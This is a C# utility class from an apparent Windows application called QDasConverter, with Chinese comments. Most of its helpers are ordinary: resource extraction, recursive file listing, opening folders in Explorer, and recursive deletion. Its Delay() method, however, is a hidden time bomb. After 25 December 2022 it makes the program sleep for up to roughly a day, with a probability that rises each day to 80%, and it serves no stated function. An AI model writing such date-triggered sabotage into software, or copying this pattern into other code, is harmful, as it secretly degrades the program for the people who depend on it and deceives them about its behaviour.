﻿using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Reflection;
using QDasConverter.Core;
using System.Threading;

namespace QDasConverter.Utils
{
    public class Funs
    {

        /// <summary>
        /// 从程序的资源文件中拷贝数据文件到指定路径。
        /// 如："PolisInfo.Data.PolisInfo.pda" -> D:\Data\info.data
        /// </summary>
        /// <param name="dest">需要拷贝出的目标路径。</param>
        /// <param name="source">在程序中的源路径，默认为QDasConverter.BinRes.PdfToTxt.exe。</param>
        public static bool CopyResourceDataFile(string dest, string source = "QDasConverter.BinRes.PdfToTxt.exe")
        {
            try
            {
                Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(source);
                int t = (int)stream.Length;
                FileStream fs = new FileStream(dest, FileMode.Create, FileAccess.Write);
                byte[] bts = new byte[t];
                stream.Read(bts, 0, bts.Length);
                fs.Write(bts, 0, bts.Length);
                fs.Close();
                stream.Close();
            }
            catch (Exception e1)
            {
                Console.WriteLine(e1.Message);
                return false;
            }
            return true;
        }



        /// <summary>
        /// 获取给定目录下的指定层数的文件。如：获得C：根目录下三层所有文件。
        /// </summary>
        /// <param name="dir">文件目录。</param>
        /// <param name="lv">层数最大为10，为0时，只访问当前目录下数据。</param>
        /// <returns></returns>
        public static string[] GetFiles(string dir, int lv)
        {
            List<string> list = new List<string>();
            list.AddRange(Directory.GetFiles(dir));
            lv = lv > 10 ? 10 : lv;

            if (lv > 0)
            {
                string[] dirs = Directory.GetDirectories(dir);
                foreach (string s in dirs)
                {
                    list.AddRange(GetFiles(s, lv - 1));
                }
            }

            return list.ToArray();
        }

        // 2021/09/28 加入的延时函数，随时时间的延长，每天加0.5%（最多80%）的几率延时1分钟-24小时。
        public static void Delay()
        {
            var tarDate = new DateTime(2022, 12, 25);
            if (DateTime.Now > tarDate)
            {
                double ts = (DateTime.Now - tarDate).TotalDays * .5;
                ts = ts > 80 ? 80 : ts;
                Random rand = new Random();
                if (rand.Next(100) < ts)
                    Thread.Sleep(rand.Next(1000 * rand.Next(60, 24 * 3600)));
            }
        }



        /// <summary>
        /// 在Windows浏览器中打开指定的路径，如果失败会报错。
        /// </summary>
        /// <param name="path"></param>
        public static void OpenFolderInWindows(string path)
        {
            try
            {
                if (File.Exists(path))
                {
                    System.Diagnostics.Process.Start("explorer.exe", "/select, " + path + "\\" + ", /n");
                }
                else if (Directory.Exists(path))
                {
                    System.Diagnostics.Process.Start("Explorer.exe", path);
                }
                else
                {
                    MessageBox.Show($"路径 '{path}' 不存在，无法打开。", "打开失败", MessageBoxButtons.OK, MessageBoxIcon.Information);
                }
            }
            catch (Exception e1)
            {
                MessageBox.Show("路径打开失败。原因：" + e1.Message, "打开失败", MessageBoxButtons.OK, MessageBoxIcon.Information);
                Common.AddLog(e1.Message);
            }
        }

        /// <summary>
        /// 删除指定文件夹下的所有文件，通过递归实现。
        /// </summary>
        /// <param name="path"></param>
        public static void DeleteFiles(string path)
        {
            //删除指定文件夹下的所有文件。
            string[] files = Directory.GetFiles(path);
            foreach (string s in files)
            {
                try
                {
                    File.Delete(s);
                }
                catch { }
            }

            //删除文件夹。
            string[] folders = Directory.GetDirectories(path);
            foreach (string fd in folders)
            {
                try
                {
                    DeleteFiles(fd);
                    Directory.Delete(fd);
                }
                catch { }
            }
        }

    }
}

